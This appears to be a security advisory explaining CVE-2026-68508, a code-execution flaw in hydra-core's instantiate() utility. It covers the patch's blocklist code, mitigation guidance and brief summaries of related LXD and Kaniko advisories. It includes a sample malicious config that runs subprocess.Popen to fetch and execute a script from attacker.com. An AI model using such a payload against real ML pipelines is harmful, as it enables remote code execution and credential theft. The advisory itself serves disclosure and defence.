Aug 21, 2026·7 min read·76 visits
A vulnerability in hydra-core before 1.3.4 allows unauthenticated arbitrary code execution via crafted configuration files processed by the unsafe dynamic object instantiation utility.
CVE-2026-68508 is a high-severity arbitrary code execution vulnerability in facebookresearch/hydra (hydra-core) prior to version 1.3.4. The vulnerability exists within the dynamic instantiation system hydra.utils.instantiate(), which resolves and executes arbitrary Python callables from configuration files. An attacker capable of submitting untrusted configurations can achieve arbitrary code execution in the context of the consuming process.
The vulnerability CVE-2026-68508 affects facebookresearch/hydra (distributed on PyPI as hydra-core), an open-source framework designed for configuration management in complex Python applications and command-line interfaces. Hydra is widely integrated into advanced machine learning and artificial intelligence workflows, where it acts as the primary configuration loader for hyperparameter tuning, model checkpointing, and execution pipelines.
At the core of the library is hydra.utils.instantiate(), a utility that dynamically creates Python objects based on definitions inside configuration files. By design, this interface relies on an input parameter designated as the _target_ key to locate and load classes, functions, or modules. Because this component interacts with external, runtime-defined parameters, it presents a substantial attack surface when deployed in multi-user environments, automated loading servers, or pipeline nodes.
The dynamic resolution behavior maps to CWE-94 (Improper Control of Generation of Code) and CWE-470 (Use of Externally-Controlled Input to Select Classes or Code). If an application processes an untrusted configuration file containing a malicious target, the runtime resolves and executes the target payload within the context of the running Python process. This architecture assumes configurations are trustworthy, creating an exploit pathway for executing system commands or arbitrary code.
To understand the vulnerability, one must examine the internals of the instantiation pipeline located in hydra/_internal/instantiate/_instantiate2.py. When a developer calls hydra.utils.instantiate(config), the function parses the parameters, locates the _target_ string, and invokes _resolve_target(). In versions prior to 1.3.4, _resolve_target() resolved this string to a dynamic callable without performing security screening.
The dynamic resolution is conducted by helper utility _locate(), which acts as a wrapper around standard import mechanisms. _locate() parses the target module path, dynamically imports the top-level package, and traverses the object tree to retrieve the desired constructor or function. This behavior means any module, class, or method present on the host python system environment can be located and resolved.
Once the module is resolved, Hydra attempts to initialize the object by calling the target with arguments supplied in the configuration structure. If an attacker controls the target value and its inputs, they can direct the instantiation flow to trigger high-impact system utilities. This design allows any class constructor, file handler, or shell utility to run instantly without requiring prior code modifications.
Exploitation depends entirely on the host application exposing the instantiation mechanism to untrusted input sources. This occurs frequently in collaborative training systems, where user-supplied models, checkpoint files, or pipeline configurations are parsed automatically by central pipelines. The framework assumes files loaded into the runtime context are secure, which allows malicious inputs to control execution.
The fix implemented in version 1.3.4 (commit 7faad0dcedfb4c0a364aa1067c0080fd6fdf8dca) introduces defense-in-depth measures based on blocklists. The developer defined a comprehensive list of unauthorized standard modules and built-in functions under DEFAULT_BLOCKLISTED_MODULES. This blocklist blocks modules known to execute code or manipulate system states directly, such as subprocess.Popen, os.system, builtins.exec, and builtins.eval.
The framework checks if the resolved module name matches any entry in this blocklist before processing the import target. The comparison is hardened by _get_os_alias_target(), which maps operating-system-specific aliases like posix.system or nt.system back to standard os identifiers. This prevents bypass attempts that exploit module-specific system interfaces.
# Patched implementation showing validation check in _resolve_target
def _resolve_target(
target: Union[str, type, Callable[..., Any]],
full_key: str = "",
) -> Union[type, Callable[..., Any]]:
if isinstance(target, str):
if _is_blocklisted_target(target):
allowlist = os.environ.get("HYDRA_INSTANTIATE_ALLOWLIST_OVERRIDE", "")
allowlist_entries = allowlist.split(":")
canonical_target = _get_os_alias_target(target)
if target not in allowlist_entries and canonical_target not in allowlist_entries:
# Block dynamic resolution and raise InstantiationException
raise InstantiationException(f"Target '{target}' is blocklisted...")
try:
target = _locate(target)
except Exception as e:
raise InstantiationException(f"Error locating target '{target}'") from eDespite these updates, signature-based blocklists have technical limitations. The system matches module names purely by string comparison prior to loading, allowing attackers to target unlisted classes or third-party packages that behave similarly. If an environment includes third-party libraries with execution patterns, an attacker can bypass standard checks to execute code.
The critical attack vector for CVE-2026-68508 is found within automated model loaders and training workflows. In typical machine learning setups, developers export trained weights along with metadata containing Hydra configuration files. If an automated service downloads an untrusted checkpoint from an open repository, it will load and parse the accompanying configuration file to instantiate the training scheduler.
To exploit this behavior, an attacker replaces legitimate parameter targets with execution payloads. The configuration payload specifies a target utility like subprocess.Popen or subprocess.run alongside the system commands to execute. The structural representation of a payload is written directly inside a custom configuration block as shown below:
# Malicious payload target using subprocess utilities
model:
_target_: subprocess.Popen
args:
- ["/bin/sh", "-c", "curl http://attacker.com/payload.sh | sh"]When the victim application imports the configuration block and executes hydra.utils.instantiate(config.model), the underlying resolution pipeline processes the target. The library loads subprocess.Popen and runs the payload commands under the active shell session. This execution bypasses traditional code validation because the system treats the malicious instruction as standard configuration data.
The impact of CVE-2026-68508 is categorized as High Severity, with a CVSS v3.1 base score of 7.8. An attacker who successfully triggers this vulnerability achieves arbitrary code execution within the active process context. This level of access grants the attacker the ability to read, write, or delete arbitrary files on the local filesystem, query host memory, and access sensitive environmental variables.
Because machine learning pipelines frequently run on enterprise infrastructure, compromised environments present elevated risks. High-performance GPU instances, container clusters, and model servers often hold credentials for active cloud databases, private registries, and storage buckets. An attacker who compromises a single dynamic loader process can query local environments to extract credentials and pivot into wider cloud environments.
The attack vector is local (AV:L), which means the malicious payload must be loaded via local file reading or shared repository paths. However, because automated training systems download files from public model repositories regularly, this local boundary is easily crossed. This operational flow increases the likelihood of exploitation through standard supply-chain channels.
To mitigate CVE-2026-68508, administrators should upgrade all instances of hydra-core to version 1.3.4 or higher. This update restricts the resolution of highly dangerous standard library classes, reducing the attack surface. If legacy applications require specific blocklisted classes to function, developers can use the HYDRA_INSTANTIATE_ALLOWLIST_OVERRIDE environment variable to define exceptions.
For long-term security, organizations should transition to the architecture in Hydra 1.4+. This upcoming version implements an opt-in, default-deny allowlist design. Under this framework, only explicitly declared, developer-approved targets can be resolved and instantiated dynamically. This structure prevents bypasses by neutralizing unknown third-party target classes.
If upgrading is not feasible, implement custom validation logic to verify configurations before they are processed. The wrapping validation script must extract the _target_ field from the configuration and verify it against an explicit, secure allowlist. This verification prevents dangerous configurations from reaching the vulnerable parsing pipeline.
# Application-level target verification
def secure_instantiate(config):
allowed_targets = {"torch.optim.Adam", "torch.optim.SGD"}
if hasattr(config, "_target_"):
target = config._target_
if target not in allowed_targets:
raise PermissionError(f"Target '{target}' is not authorized.")
return hydra.utils.instantiate(config)CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
hydra-core facebookresearch | < 1.3.4 | 1.3.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 / CWE-470 |
| Attack Vector | Local (AV:L) |
| CVSS Score | 7.8 (High) |
| Exploit Status | PoC |
| CISA KEV Status | Not Listed |
| Ransomware Use | No Known Association |
The application accepts untrusted input that specifies executable code, allowing an attacker to inject and execute arbitrary code.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.